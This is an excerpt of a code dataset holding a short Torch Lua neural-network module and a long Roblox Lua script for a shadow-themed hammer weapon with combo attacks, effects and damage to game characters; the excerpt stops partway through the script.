content
stringlengths 5
1.05M
|
|---|
require('nn')
local FilterGrid, parent = torch.class('nn.FilterGrid', 'nn.Module')
function FilterGrid:__init(N, dim_size, nInputDim)
self.grid = torch.range(1, dim_size):resize(1, dim_size):repeatTensor(N, 1)
self.nInputDim = nInputDim
parent.__init(self)
end
function FilterGrid:updateOutput(input)
if self.nInputDim and input:dim()> self.nInputDim then
local grid_size = self.grid:size():totable()
self.output:resize(input:size(1), table.unpack(grid_size))
local grid = self.grid:view(1, table.unpack(grid_size))
self.output:copy(grid:expand(self.output:size()))
else
self.output:resize(self.grid:size())
self.output:copy(self.grid)
end
return self.output
end
function FilterGrid:cuda()
self.output = self.grid:cuda()
end
function FilterGrid:updateGradInput(input, gradOutput)
self.gradInput:resizeAs(input):zero()
return self.gradInput
end
|
--keys and controls because controls are weird xd
--[5:12:53 PM] jarredbcv: ww
--[5:12:55 PM] jarredbcv: awssd
--[5:12:57 PM] jarredbcv: assd
--[5:13:00 PM] jarredbcv: wasd
--[5:13:02 PM] jarredbcv: and
--[5:13:07 PM] jarredbcv: f
--to equip the hammer press Q
--Enjoy! --Chromium
lp=game.Players.LocalPlayer
pl=lp.Character
mouse=lp:GetMouse()
mo=Instance.new("Model",pl)
pi=math.pi
Key={}
sec=5
cleanup=sec*10
a=false
deb=false
hitdeb=false
isblocking=false
swing=1
equi=false
bg = Instance.new("BodyGyro")
bg.P = 20e+003
bg.maxTorque = Vector3.new(4e+005,4e+005,4e+005)*math.huge
rad=math.rad
ca=CFrame.Angles
cf=CFrame.new
Part = function(x,y,z,color,tr,cc,an,parent)
local p = Instance.new('Part',parent or Weapon)
p.formFactor = 'Custom'
p.Size = Vector3.new(x,y,z)
p.BrickColor = BrickColor.new(color)
p.CanCollide = cc
p.Transparency = tr
p.Anchored = an
p.TopSurface,p.BottomSurface = 0,0
p.Locked=true
p:BreakJoints()
return p end
so = function(id,par,lo,pi,tm)
s = Instance.new("Sound",par) s.Looped=lo s.Pitch=pi
s.SoundId = "http://roblox.com/asset/?id="..id s:play() s.Volume=.1 game.Debris:AddItem(s,tm) end
so2 = function(id,par,lo,pi,tm)
s = Instance.new("Sound",par) s.Looped=lo s.Pitch=pi
s.SoundId = id s:play() s.Volume=.1 game.Debris:AddItem(s,tm) end
wPart = function(x,y,z,color,tr,cc,an,parent)
local wp = Instance.new('WedgePart',parent or Weapon)
wp.formFactor = 'Custom'
wp.Size = Vector3.new(x,y,z)
wp.BrickColor = BrickColor.new(color)
wp.CanCollide = cc
wp.Transparency = tr
wp.Locked=true
wp.Anchored = an
wp.TopSurface,wp.BottomSurface = 0,0
wp:BreakJoints()
return wp end
Weld = function(p0,p1,x,y,z,rx,ry,rz,par)
local w = Instance.new('Motor',par or p0)w.Part0 = p0 w.Part1 = p1
w.C1 = CFrame.new(x,y,z)*CFrame.Angles(rx,ry,rz) return w end
Mesh = function(par,num,x,y,z)
local msh = _
if num == 1 then msh = Instance.new("CylinderMesh",par)
elseif num == 2 then msh = Instance.new("SpecialMesh",par) msh.MeshType = 3
elseif num == 3 then msh = Instance.new("BlockMesh",par)
elseif num == 4 then msh = Instance.new("SpecialMesh",par) msh.MeshType = "Torso"
elseif type(num) == 'string' then msh = Instance.new("SpecialMesh",par) msh.MeshId = num
end msh.Scale = Vector3.new(x,y,z)
return msh end
Tween = function(Weld, Stop, Step,a)
ypcall(function()local func = function()
local Start = Weld.C1 local X1, Y1, Z1 = Start:toEulerAnglesXYZ()
local Stop = Stop local X2, Y2, Z2 = Stop:toEulerAnglesXYZ()
Spawn(function()for i = 0, 1, Step or .1 do wait()
Weld.C1 = cf( (Start.p.X * (1 - i)) + (Stop.p.X * i),(Start.p.Y * (1 - i)) + (Stop.p.Y * i),(Start.p.Z * (1 - i)) + (Stop.p.Z * i)) * ca((X1 * (1 - i)) + (X2 * i), (Y1 * (1 - i)) + (Y2 * i),(Z1 * (1 - i)) + (Z2 * i) )
end Weld.C1 = Stop end) end if a then coroutine.wrap(func)() else func() end end)end
function ani(val)
if val==true then
lp = Part(.1,.1,.1,'',1,false,false,mo)
rp = Part(.1,.1,.1,'',1,false,false,mo)
hp = Part(.1,.1,.1,'',1,false,false,mo)
lw = Weld(lp,pl.Torso,-1.5,.5,0,0,0,0,mo)
rw = Weld(rp,pl.Torso,1.5,.5,0,0,0,0,mo)
hw = Weld(hp,pl.Torso,0,2,0,0,0,0,mo)
Weld(pl['Right Arm'],rp,0,-.5,0,0,0,0,mo)
Weld(pl['Left Arm'],lp,0,-.5,0,0,0,0,mo)
Weld(pl.Head,hp,0,-.5,0,0,0,0,mo)
else
rp:Destroy()lp:Destroy()hp:Destroy()
end
end
function gradient(prnt,col,rng,brt,tm)
local f=Instance.new('PointLight',prnt)
f.Color=col
f.Range=rng
f.Brightness=brt
Spawn(function()
while wait(tm) do
if f.Brightness <= 0 then f:Destroy() break end
f.Brightness=f.Brightness-0.05
end
end)
end
function trail(pos,tim,col)
Spawn(function()
for i=1,tim do
local oldpos=pos.CFrame.p wait()
local newpos=pos.CFrame.p
local mag = (oldpos-newpos).magnitude
local a= Part(1,1,1,col,0,false,true,mo)
local m= Mesh(a,1,1,mag,1)
local hiter=a.Touched:connect(function(hit)
if hit.Parent:findFirstChild("Humanoid") ~= nil and hit.Parent.Name ~= pl.Name and hitdeb==false then
hitdeb=true
hit.Parent.Humanoid.Health=hit.Parent.Humanoid.Health-10
so('46153268',hit.Parent,false,math.random(50,100)/100,1)
wait(.1)
hitdeb=false
end
end)
gradient(a,a.BrickColor.Color,7,.5,0)
a.CFrame=cf(oldpos,newpos)*cf(0,0,-mag/2)*ca(pi/2,0,0)
Spawn(function()
for i=1,10 do
wait()
m.Scale=m.Scale-Vector3.new(.1,0,.1)
end
wait(.5)
hiter:disconnect()
a:Destroy()
end)
end
end)
end
function mgblock(pa,cfr,tm,col1,col2,sz,wa)
local cols={col1,col2}
Spawn(function()
for i=1,tm do wait(wa)
local a= Part(1,1,1,cols[math.random(1,2)],0,false,true,mo)
v1,v2,v3=sz.x,sz.y,sz.z
local m= Mesh(a,3,v1,v2,v3)
a.CFrame=pa.CFrame*cfr*ca(math.random(),math.random(),math.random())
gradient(a,BrickColor.new('Royal purple').Color,10,1,0)
Spawn(function()
while wait() do
if a.Transparency >= 1 then a:Destroy() break end
m.Scale=m.Scale-Vector3.new(.1,0.1,0.1)
a.CFrame=a.CFrame+Vector3.new(0,0.1,0)
a.Transparency=a.Transparency+0.05
end
end)
end
end)
end
function explosion(col1,col2,cfr,sz,rng,dmg)
local a= Part(1,1,1,col1,.5,false,true,mo)
local a2= Part(1,1,1,col2,.5,false,true,mo)
local a3= Part(1,1,1,col2,.5,false,true,mo)
v1,v2,v3=sz.x,sz.y,sz.z
local m= Mesh(a,'http://www.roblox.com/asset/?id=1185246',v1,v2,v3)
local m2= Mesh(a2,3,v1/3,v2/3,v3/3)
local m3= Mesh(a3,3,v1/3,v2/3,v3/3)
a.CFrame=cfr
a2.CFrame=cfr*ca(math.random(),math.random(),math.random())
a3.CFrame=cfr*ca(math.random(),math.random(),math.random())
gradient(a,BrickColor.new('Royal purple').Color,20,1,0.05)
so('2697431',a,false,.2,1)
for i,v in pairs(workspace:children()) do
if v:IsA("Model") and v:findFirstChild("Humanoid") then
if v:findFirstChild("Head") and v:findFirstChild("Torso") then
if (v:findFirstChild("Torso").Position - a.Position).magnitude < rng and v.Name ~= pl.Name then
v.Humanoid.Health=v.Humanoid.Health-dmg
mgblock(v.Torso,cf(0,0,0),30,'Really black','Royal purple',Vector3.new(1.5,1.5,1.5),.1)
end
end
end
end
Spawn(function()
while wait() do
if a.Transparency >= 1 then a:Destroy() a2:Destroy() a3:Destroy() break end
m.Scale=m.Scale+Vector3.new(.1,0.1,0.1)
m2.Scale=m2.Scale+Vector3.new(.1,0.1,0.1)
m3.Scale=m3.Scale+Vector3.new(.1,0.1,0.1)
a.Transparency=a.Transparency+0.05
a2.Transparency=a2.Transparency+0.05
a3.Transparency=a3.Transparency+0.05
end
end)
end
function hit(vl,parent,dmg)
if vl==true then
dodmg=parent.Touched:connect(function(hit)
if hit.Parent:findFirstChild("Humanoid") ~= nil and hit.Parent.Name ~= pl.Name and hitdeb==false then
hitdeb=true
hit.Parent.Humanoid.Health=hit.Parent.Humanoid.Health-dmg
so('46153268',hit.Parent,false,math.random(50,100)/100,1)
wait(.1)
hitdeb=false
end
end)
else
dodmg:disconnect()
end
end
function bam()
print'Shadow Bombs [Rave]'
deb=true
Tween(lw,cf(-1.5,.5,0)*ca(0,0,-rad(150)),.1)
Tween(rw,cf(1.5,.5,0)*ca(rad(120),0,rad(40)),.1)
Tween(mwl,cf(0,-1,-0.5)*ca(-pi/2+rad(30),pi/2+rad(50),0),.1)
wait(.35)
so('28144425',pl.Torso,false,.265,1)
mgblock(pl['Left Arm'],cf(0,-1,0),5,'Really black','Royal purple',Vector3.new(1.5,1.5,1.5),.1)
wait(.4)
Tween(rw,cf(1.5,.5,0)*ca(rad(50),0,-rad(20)),.3)
Tween(mwl,cf(0,-1,0)*ca(-pi/2-rad(50),pi/2,0),.3)
Tween(lw,cf(-1.5,.5,0)*ca(rad(30),0,rad(20)),.3)
wait(.15)
so('63719813',pl.Torso,false,.525,1)
local goto=pl.Torso.CFrame
for i=1,10 do wait(.05)
explosion('Really black','Royal purple',goto*cf(0,0,-i-i*2),Vector3.new(10,10,10),5,7)
end
Tween(rw,cf(1.5,.5,0)*ca(rad(10),rad(30),0),.1)
Tween(lw,cf(-1.5,.5,0)*ca(0,0,-rad(20)),.1)
Tween(mwl,cf(0,-1,-0.5)*ca(-pi/2,pi/2,0),.1)
wait(.35)
deb=false
end
function lunge()
print'Shadow lunge [Rave]'
deb=true
so('10209645',pl.Torso,false,1,1)
Tween(rw,cf(1.5,.5,0)*ca(rad(50),0,-rad(60)),.1)
Tween(mwl,cf(0,-1,0)*ca(-pi/2-rad(50),pi/2,0),.1)
Tween(lw,cf(-1.5,.5,0)*ca(rad(50),0,rad(60)),.1)
wait(.35)
so('62339698',pl.Torso,false,.3,1)
Spawn(function()
for i=1,7 do wait()
local efx= Part(1,1,1,'Really black',.5,false,true,mo)
local m= Mesh(efx,'http://www.roblox.com/asset/?id=20329976',3,1,3)
efx.CFrame=pl.Torso.CFrame*ca(pi/2,0,0)
Spawn(function()
for i=1,7 do wait()
m.Scale=m.Scale+Vector3.new(.3,.1,.3)
end
efx:Destroy()
end)
end
end)
gradient(pl.Torso,BrickColor.new('Royal purple').Color,10,2,0)
trail(pl.Torso,16,'Royal purple')
mgblock(pl.Torso,cf(0,0,0),3,'Really black','Royal purple',Vector3.new(3,3,3),.1)
local v = Instance.new("BodyVelocity",pl.Torso)
v.maxForce = Vector3.new(1,1,1)*9e9
v.P = 2000
v.velocity = pl.Torso.CFrame.lookVector*60
Tween(rw,cf(1.5,.5,-1)*ca(rad(50),0,-rad(60)),.2)
Tween(lw,cf(-1.5,.5,-1)*ca(rad(50),0,rad(60)),.2)
wait(.25)
v:Destroy()
Tween(rw,cf(1.5,.5,0)*ca(rad(50),0,-rad(60)),.2)
Tween(lw,cf(-1.5,.5,0)*ca(rad(50),0,rad(60)),.2)
wait(.25)
Tween(rw,cf(1.5,.5,0)*ca(rad(10),rad(30),0),.1)
Tween(lw,cf(-1.5,.5,0)*ca(0,0,-rad(20)),.1)
Tween(mwl,cf(0,-1,-0.5)*ca(-pi/2,pi/2,0),.1)
wait(.35)
deb=false
end
function bain()
print'Shadow warp [Bain]'
deb=true
bloop=false
Tween(lw,cf(-1.5,.5,0)*ca(rad(80),0,-rad(30)),.3)
Tween(rw,cf(1.5,.5,0)*ca(rad(20),rad(30),rad(30)),.3)
wait(.1)
mgblock(pl['Left Arm'],cf(0,-1,0),5,'Really black','Royal purple',Vector3.new(1.5,1.5,1.5),.1)
wait(.5)
for i,v in pairs(workspace:children()) do
if v:IsA("Model") and v:findFirstChild("Humanoid") then
if v:findFirstChild("Head") and v:findFirstChild("Torso") then
if (v:findFirstChild("Torso").Position - pl.Torso.Position).magnitude < 6 and v.Name ~= pl.Name then
bp=Instance.new('BodyPosition',v.Torso)
bp.maxForce=Vector3.new(1e1000,1e1000,1e1000)
Spawn(function()
while wait() do
if bloop==true then break end
mgblock(v.Torso,cf(0,0,0),1,'Really black','Royal purple',Vector3.new(1.5,1.5,1.5),.1)
bp.position=pl.Torso.CFrame.p
end
end)
Tween(lw,cf(-1.5,.5,0)*ca(0,0,-rad(90)),.3)
Tween(rw,cf(1.5,.5,0)*ca(0,0,rad(90)),.3)
wait(.2)
trail(pl['Right Arm'],30,'Royal purple')
trail(pl['Left Arm'],30,'Royal purple')
Spawn(function()
for i=1,20 do wait()
local efx= Part(1,1,1,'Really black',.5,false,true,mo)
local m= Mesh(efx,'http://www.roblox.com/asset/?id=20329976',3,1,3)
efx.CFrame=pl.Torso.CFrame
Spawn(function()
for i=1,7 do wait()
m.Scale=m.Scale+Vector3.new(1,.2,1)
end
efx:Destroy()
end)
end
end)
local vs = Instance.new("BodyVelocity",pl.Torso)
vs.maxForce = Vector3.new(1,1,1)*9e9
vs.P = 2000
vs.velocity = Vector3.new(0,150,0)
local rv = Instance.new("BodyAngularVelocity",pl.Torso)
rv.maxTorque = Vector3.new(1,1,1)*9e9
rv.P = 5000
rv.angularvelocity = Vector3.new(0,200,0)
so('69935389',pl.Torso,false,.7,1)
wait(1)
pl.Torso.Anchored=true
wait(.3)
Tween(lw,cf(-1.5,.5,0)*ca(rad(90),0,rad(30)),.1)
Tween(rw,cf(1.5,.5,0)*ca(rad(90),0,-rad(30)),.1)
Tween(mwl,cf(0,-1,-0.5)*ca(-pi/2+rad(90),pi/2,0),.1)
wait(.4)
Tween(lw,cf(-1.5,.5,0)*ca(0,0,-rad(90)),.3)
Tween(rw,cf(1.5,.5,0)*ca(0,0,rad(90)),.3)
explosion('Really black','Royal purple',pl.Torso.CFrame,Vector3.new(30,30,30),30,30)
wait(.2)
bloop=true
v.Humanoid.Sit=true
vs:Destroy()
rv:Destroy()
pl.Torso.Anchored=false
bp:Destroy()
Spawn(function()
wait(1.5)
v.Humanoid.Jump=true
end)
end
end
end
end
Tween(rw,cf(1.5,.5,0)*ca(rad(10),rad(30),0),.1)
Tween(lw,cf(-1.5,.5,0)*ca(0,0,-rad(20)),.1)
Tween(mwl,cf(0,-1,-0.5)*ca(-pi/2,pi/2,0),.1)
wait(.35)
deb=false
end
function bain2()
print'Shadow mite [Bain]'
deb=true
doo=false
bloop=false
Tween(lw,cf(-1.5,.5,0)*ca(rad(80),0,-rad(30)),.3)
Tween(rw,cf(1.5,.5,0)*ca(rad(20),rad(30),rad(30)),.3)
wait(.1)
mgblock(pl['Left Arm'],cf(0,-1,0),5,'Really black','Royal purple',Vector3.new(1.5,1.5,1.5),.1)
wait(.5)
for i,v in pairs(workspace:children()) do
if v:IsA("Model") and v:findFirstChild("Humanoid") then
if v:findFirstChild("Head") and v:findFirstChild("Torso") then
if (v:findFirstChild("Torso").Position - pl.Torso.Position).magnitude < 6 and v.Name ~= pl.Name then
bp=Instance.new('BodyPosition',v.Torso)
bp.maxForce=Vector3.new(1e1000,1e1000,1e1000)
pl.Torso.Anchored=true
so2('rbxasset://sounds\\swordlunge.wav',pl.Torso,false,.5,1)
gotopos=pl.Torso.CFrame*CFrame.new(0,0,-20).p
Spawn(function()
while wait() do
if bloop==true then break end
if doo==true then
bp.position=pl.Torso.CFrame.p
mgblock(v.Torso,cf(0,0,0),1,'Really black','Royal purple',Vector3.new(1.5,1.5,1.5),.1)
else
mgblock(v.Torso,cf(0,0,0),1,'Really black','Royal purple',Vector3.new(1.5,1.5,1.5),.1)
bp.position=gotopos
end
end
end)
wait(.5)
Tween(rw,cf(1,.5,0)*ca(rad(100),0,-rad(40)),.1)
Tween(lw,cf(-1,.5,0)*ca(rad(100),0,rad(40)),.1)
Tween(mwl,cf(0,-1,-1.25)*ca(-pi/2-rad(10),pi/2-rad(30),0),.1)
wait(.35)
hit(true,hitb,20)
gradient(hitb,BrickColor.new('Royal purple').Color,10,1,0.05)
Spawn(function()
for i=1,5 do wait(0.05)
local efx= Part(1,1,1,'Black',.5,false,true,mo)
local m= Mesh(efx,'http://www.roblox.com/asset/?id=51177741',1,1,1)
efx.CFrame=hitb.CFrame*ca(0,-pi/2,0)
Spawn(function()
for i=1,7 do wait()
m.Scale=m.Scale+Vector3.new(.1,.1,.1)
end
efx:Destroy()
end)
end
end)
mgblock(hitb,cf(0,0,0),10,'Really black','Royal purple',Vector3.new(1,1,1),0)
so('10209645',pl.Torso,false,.6,1)
so('63719813',pl.Torso,false,.525,1)
trail(hitb,7,'Royal purple')
Tween(rw,cf(1,.5,0)*ca(rad(20),0,-rad(40)),.2)
Tween(lw,cf(-1,.5,0)*ca(rad(20),0,rad(40)),.2)
wait(.25)
hit(false)
local efx= Part(1,1,1,'Black',.5,false,false,mo)
efx.CFrame=pl.Torso.CFrame
local m= Mesh(efx,'http://www.roblox.com/asset/?id=58430372',3,3,3)
gradient(efx,BrickColor.new('Royal purple').Color,10,2,0)
trail(efx,16,'Royal purple')
mgblock(efx,cf(0,0,0),3,'Really black','Royal purple',Vector3.new(3,3,3),.1)
local psuh = Instance.new("BodyVelocity",efx)
psuh.maxForce = Vector3.new(1,1,1)*9e9
psuh.P = 2000
psuh.velocity = pl.Torso.CFrame.lookVector*60
wait(.25)
efx:Destroy()
explosion('Really black','Royal purple',v.Torso.CFrame,Vector3.new(15,15,15),20,30)
wait(.15)
doo=true
pl.Torso.Anchored=false
mgblock(pl.Torso,cf(0,0,0),30,'Really black','Royal purple',Vector3.new(10,10,10),0)
local vs = Instance.new("BodyVelocity",pl.Torso)
vs.maxForce = Vector3.new(1,1,1)*9e9
vs.P = 2000
vs.velocity = pl.Torso.CFrame.lookVector*60+Vector3.new(0,150,0)
local rv = Instance.new("BodyAngularVelocity",pl.Torso)
rv.maxTorque = Vector3.new(1,1,1)*9e9
rv.P = 5000
rv.angularvelocity = Vector3.new(0,200,0)
so('69935389',pl.Torso,false,.5,1)
Spawn(function()
for i=1,20 do wait()
local efx= Part(1,1,1,'Really black',.5,false,true,mo)
local m= Mesh(efx,'http://www.roblox.com/asset/?id=20329976',3,1,3)
efx.CFrame=pl.Torso.CFrame
Spawn(function()
for i=1,7 do wait()
m.Scale=m.Scale+Vector3.new(1,.2,1)
end
efx:Destroy()
end)
end
end)
wait(1)
pl.Torso.Anchored=true
rv:Destroy()
wait(.5)
pl.Torso.Anchored=false
vs.velocity = Vector3.new(0,-200,0)
wait(1.5)
explosion('Really black','Royal purple',pl.Torso.CFrame,Vector3.new(100,100,100),50,100)
so('10730819',pl.Torso,false,1,1)
v:BreakJoints()
bloop=true
vs:Destroy()
bp:Destroy()
pl.Torso.CFrame=pl.Torso.CFrame+Vector3.new(0,10,0)
for i=1, 30 do
local p= Part(math.random(15,35),math.random(15,35),math.random(4,5),workspace.Base.BrickColor.Color,0,true,true,mo)
p.Material=workspace.Base.Material
p.CFrame=cf(pl.Torso.CFrame.x+math.random(-i,i),0,pl.Torso.CFrame.z+math.random(-i,i))*ca(math.random(-10,10)/30,math.random(-10,10)/30,math.random(-10,10)/30)*ca(pi/2,0,0)
p.TopSurface=workspace.Base.TopSurface
p.RightSurface=workspace.Base.TopSurface
p.LeftSurface=workspace.Base.TopSurface
p.BottomSurface=workspace.Base.TopSurface
p.FrontSurface=workspace.Base.TopSurface
p.BackSurface=workspace.Base.TopSurface
game:GetService("Debris"):AddItem(p,5+i*.1)
if math.random(1,5)==5 then
coroutine.resume(coroutine.create(function(p) f=Instance.new("Smoke") f.Parent=p f.Size=15 f.RiseVelocity=0 f.Opacity=.025 wait(.1) f.Enabled=false wait(1) f:Remove() end),p)
end
end
for i=1, 30 do wait()
local p= Part(math.random(1,5),math.random(1,5),math.random(1,5),workspace.Base.BrickColor.Color,0,true,false,mo)
p:BreakJoints()
p.Material=workspace.Base.Material
p.CFrame=cf(pl.Torso.CFrame.x+math.random(-i,i),math.random(6,15),pl.Torso.CFrame.z+math.random(-i,i))*ca(math.random(-10,10)/30,math.random(-10,10)/30,math.random(-10,10)/30)*ca(pi/2,0,0)
p.TopSurface=workspace.Base.TopSurface
p.RightSurface=workspace.Base.TopSurface
p.LeftSurface=workspace.Base.TopSurface
p.BottomSurface=workspace.Base.TopSurface
p.FrontSurface=workspace.Base.TopSurface
p.BackSurface=workspace.Base.TopSurface
game:GetService("Debris"):AddItem(p,7+i*.1)
if math.random(1,5)==5 then
coroutine.resume(coroutine.create(function(p) f=Instance.new("Smoke") f.Parent=p f.Size=15 f.RiseVelocity=0 f.Opacity=.025 wait(.1) f.Enabled=false wait(1) f:Remove() end),p)
end
end
end
end
end
end
Tween(rw,cf(1.5,.5,0)*ca(rad(10),rad(30),0),.1)
Tween(lw,cf(-1.5,.5,0)*ca(0,0,-rad(20)),.1)
Tween(mwl,cf(0,-1,-0.5)*ca(-pi/2,pi/2,0),.1)
wait(.35)
deb=false
end
function block1()
deb=true
so('28257433',pl.Torso,false,.5,1)
Tween(lw,cf(-1.5,.5,0)*ca(0,0,-rad(130)),.1)
Tween(rw,cf(1.5,.5,0)*ca(rad(20),rad(30),rad(30)),.1)
Tween(hw,cf(0,2,0)*ca(0,rad(90),0),.1)
wait(.35)
bg.Parent = pl.Torso
isblocking=true
pl.Humanoid.Name="God"
local ff=Instance.new('ForceField',pl)
last=ff
Spawn(function()
while true do
if isblocking==false then break end
pl.God.Health=100000000000
pl.God.MaxHealth=100000000000
last:Destroy()
local ff=Instance.new('ForceField',pl)
last=ff
bg.cframe = CFrame.new(pl.Torso.Position,Vector3.new(mouse.Hit.p.x,pl.Torso.CFrame.p.y,mouse.Hit.p.z))*CFrame.Angles(0,-rad(90),0)
local efx= Part(1,1,1,'Royal purple',.5,false,true,mo)
local m= Mesh(efx,'http://www.roblox.com/asset/?id=176248871 ',1,1,1)
efx.CFrame=pl['Left Arm'].CFrame*ca(pi/2,pi/1,-pi/2)*cf(0,0,-1)*ca(-rad(40),0,0)
Spawn(function()
for i=1,7 do wait()
m.Scale=m.Scale+Vector3.new(.2,.2,.2)
end
efx:Destroy()
end)
mgblock(pl['Left Arm'],cf(0,-1,0),1,'Really black','Royal purple',Vector3.new(1.6,1.6,1.6),.1)
wait()
end
end)
wait(.3)
isblocking=true
end
function block2()
so('28257433',pl.Torso,false,.5,1)
bg.Parent = nil
isblocking=false
last:Destroy()
ypcall(function() pl.God.Name="Humanoid" end)
pl.Humanoid.Health=100
pl.Humanoid.MaxHealth=100
Tween(rw,cf(1.5,.5,0)*ca(rad(10),rad(30),0),.1)
Tween(lw,cf(-1.5,.5,0)*ca(0,0,-rad(20)),.1)
Tween(mwl,cf(0,-1,-0.5)*ca(-pi/2,pi/2,0),.1)
Tween(hw,cf(0,2,0)*ca(0,0,0),.1)
wait(.35)
deb=false
end
function eq()
deb=true
so('31758934',pl.Torso,false,1,1)
ani(true)
Tween(rw,cf(1.5,.5,0)*ca(-rad(60),0,-rad(50)),.1)
Tween(lw,cf(-1.5,.5,0)*ca(0,0,-rad(20)),.1)
wait(.4)
mwl.Part1 = pl['Right Arm']
Tween(mwl,cf(0,-1,-0.5)*ca(-pi/2,pi/2,0),.1)
Tween(rw,cf(1.5,.5,0)*ca(rad(10),rad(30),0),.1)
wait(.4)
equi=true
deb=false
end
function dc()
deb=true
equi=false
so('31758934',pl.Torso,false,1,1)
Tween(rw,cf(1.5,.5,0)*ca(-rad(60),0,-rad(50)),.1)
Tween(lw,cf(-1.5,.5,0)*ca(0,0,-rad(20)),.1)
wait(.3)
Tween(mwl,cf(0,.5,.5)*ca(0,0,pi/3.5),.1)
Tween(lw,cf(-1.5,.5,0),.1)
Tween(rw,cf(1.5,.5,0),.1)
wait(.3)
mwl.Part1 = pl.Torso
ani(false)
deb=false
end
function checkbind()
if #Key==2 and Key[1]==1 and Key[2]==1 then print(unpack(Key)) lunge() print'clean up' Key={} cleanup=sec*10 Spawn(function() wait() print'GO' end) end
if #Key==4 and Key[1]==2 and Key[2]==3 and Key[3]==4 and Key[4]==1 then print(unpack(Key)) bam() print'clean up' Key={} cleanup=sec*10 Spawn(function() wait() print'GO' end) end
if #Key==4 and Key[1]==2 and Key[2]==3 and Key[3]==3 and Key[4]==4 then print(unpack(Key)) bain() print'clean up' Key={} cleanup=sec*10 Spawn(function() wait() print'GO' end) end
if #Key==5 and Key[1]==2 and Key[2]==1 and Key[3]==3 and Key[4]==3 and Key[5]==4 then print(unpack(Key)) bain2() print'clean up' Key={} cleanup=sec*10 Spawn(function() wait() print'GO' end) end
end
mpa= Part(.25,3,.25,'Really black',0,false,false,mo)
mwl= Weld(mpa,pl.Torso,0,.5,.5,0,0,pi/3.5,mo)
pa= Part(.4,1,.4,'Royal purple',0,false,false,mo)
wl= Weld(pa,mpa,0,-1,0,0,0,0,mo)
m= Mesh(pa,1,1,1,1)
pa= Part(.4,.5,.4,'Royal purple',0,false,false,mo)
wl= Weld(pa,mpa,0,1.25,0,0,0,0,mo)
m= Mesh(pa,1,1,1,1)
pa= Part(.5,.5,.5,'Royal purple',0,false,false,mo)
wl= Weld(pa,mpa,0,-1.5,0,pi/10,pi/4,0,mo)
pa= Part(.5,.5,.5,'Royal purple',0,false,false,mo)
wl= Weld(pa,mpa,0,-1.5,0,pi/5,pi/8,0,mo)
pa= Part(.4,.4,.4,'Royal purple',0,false,false,mo)
wl= Weld(pa,mpa,0,1.5,0,pi/10,pi/4,0,mo)
pa= Part(.4,.4,.4,'Royal purple',0,false,false,mo)
wl= Weld(pa,mpa,0,1.5,0,pi/5,pi/8,0,mo)
hitb= Part(.75,.76,.75,'Dark stone grey',0,false,false,mo)
wl= Weld(hitb,mpa,0,1.9,0,0,0,0,mo)
pa= Part(.75,.25,.75,'Royal purple',0,false,false,mo)
wl= Weld(pa,mpa,-.5,1.9,0,0,0,pi/2,mo)m= Mesh(pa,4,1,1,1)
pa= Part(.75,.5,.75,'Really black',0,false,false,mo)
wl= Weld(pa,mpa,-.5,1.9,0,pi/2,0,pi/2,mo)m= Mesh(pa,4,1,1,1)
pa= wPart(.75,.2,.4,'Really black',0,false,false,mo)
wl= Weld(pa,mpa,.2,2.375,0,0,pi/2,0,mo)
pa= wPart(.75,.2,.4,'Really black',0,false,false,mo)
wl= Weld(pa,mpa,.2,1.9,.475,pi/2,pi/2,0,mo)
pa= wPart(.75,.2,.4,'Really black',0,false,false,mo)
wl= Weld(pa,mpa,.2,1.9,-.475,-pi/2,pi/2,0,mo)
pa= wPart(.75,.2,.4,'Really black',0,false,false,mo)
wl= Weld(pa,mpa,.2,1.425,0,pi/1,pi/2,0,mo)
asd= Part(.1,1.13,1.13,'Royal purple',0,false,false,mo)
wl= Weld(asd,mpa,.5,1.9,0,0,0,0,mo)
function onKeyDown(key)
key = key:lower()
if deb==true then return end
if key == "q" then a=not a
if a then eq()else dc()end
end
if equi==true then
if key == "w" then print'1' table.insert(Key,1) end
if key == "a" then print'2' table.insert(Key,2) end
if key == "s" then print'3' table.insert(Key,3) end
if key == "d" then print'4' table.insert(Key,4) end
if key == "f" then print'block' block1() end
end
end
function onKeyUp(key)
key = key:lower()
if equi==true then
if isblocking==true then
if key == "f" then block2() end
end
end
end
function onClicked()
if deb==true or equi==false then return end
if swing==1 then deb=true
Tween(rw,cf(1.5,.5,0)*ca(rad(120),0,rad(40)),.1)
Tween(lw,cf(-1.5,.5,0)*ca(rad(20),0,rad(20)),.1)
Tween(mwl,cf(0,-1,-0.5)*ca(-pi/2+rad(30),pi/2+rad(50),0),.1)
wait(.35)
hit(true,hitb,15)
so('10209645',pl.Torso,false,1,1)
trail(hitb,7,'Royal purple')
Tween(rw,cf(1.5,.5,0)*ca(rad(15),0,-rad(30)),.2)
Tween(lw,cf(-1.5,.5,0)*ca(-rad(20),0,-rad(20)),.2)
Tween(mwl,cf(0,-1,-0.5)*ca(-pi/2-rad(10),pi/2+rad(20),0),.2)
wait(.25)
hit(false)
Tween(rw,cf(1.5,.5,0)*ca(rad(10),rad(30),0),.1)
Tween(lw,cf(-1.5,.5,0)*ca(0,0,-rad(20)),.1)
Tween(mwl,cf(0,-1,-0.5)*ca(-pi/2,pi/2,0),.1)
wait(.35)
swing=swing+1
deb=false
return
elseif swing==2 then deb=true
Tween(rw,cf(1.5,.5,0)*ca(rad(120),0,-rad(40)),.1)
Tween(lw,cf(-1.5,.5,0)*ca(rad(20),0,rad(20)),.1)
Tween(mwl,cf(0,-1,-0.5)*ca(-pi/2+rad(30),pi/2-rad(50),0),.1)
wait(.35)
hit(true,hitb,15)
so('10209645',pl.Torso,false,.9,1)
trail(hitb,7,'Royal purple')
Tween(rw,cf(1.5,.5,0)*ca(rad(15),0,rad(30)),.2)
Tween(lw,cf(-1.5,.5,0)*ca(-rad(20),0,-rad(20)),.2)
Tween(mwl,cf(0,-1,-0.5)*ca(-pi/2-rad(10),pi/2-rad(20),0),.2)
wait(.25)
hit(false)
Tween(rw,cf(1.5,.5,0)*ca(rad(10),rad(30),0),.1)
Tween(lw,cf(-1.5,.5,0)*ca(0,0,-rad(20)),.1)
Tween(mwl,cf(0,-1,-0.5)*ca(-pi/2,pi/2,0),.1)
wait(.35)
swing=swing+1
deb=false
return
elseif swing==3 then deb=true
Tween(rw,cf(1,.5,0)*ca(rad(100),0,-rad(40)),.1)
Tween(lw,cf(-1,.5,0)*ca(rad(100),0,rad(40)),.1)
Tween(mwl,cf(0,-1,-1.25)*ca(-pi/2-rad(10),pi/2-rad(30),0),.1)
wait(.35)
hit(true,hitb,20)
gradient(hitb,BrickColor.new('Royal purple').Color,10,1,0.05)
Spawn(function()
for i=1,5 do wait(0.05)
